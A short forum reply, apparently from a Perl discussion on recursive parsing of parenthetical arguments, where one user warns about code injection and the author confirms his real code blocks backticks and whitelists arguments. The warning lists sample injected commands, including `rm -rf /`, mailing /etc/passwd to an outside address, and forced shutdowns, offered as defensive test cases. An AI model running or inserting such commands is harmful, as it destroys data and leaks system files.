Re: Parsing parenthetical arguments recursively

I hope you're taking care to prevent strings like:

(`rm -rf /`;)
(`mail /etc/passwd me@myhost.com`;)
(system "shutdown -rf";)
(open ABCD, "-|", "shutdown -rf";)

Yes. The 'real' version of the code disallows backticks, specifically, and only allows a very specific list of arguments to each token expression. I didn't include that part because it works, whereas the parenthetical matching does not. Though you did make me run each of those through as a test case, to make sure it would disallow them. Thank you. ~Moe~	[reply]
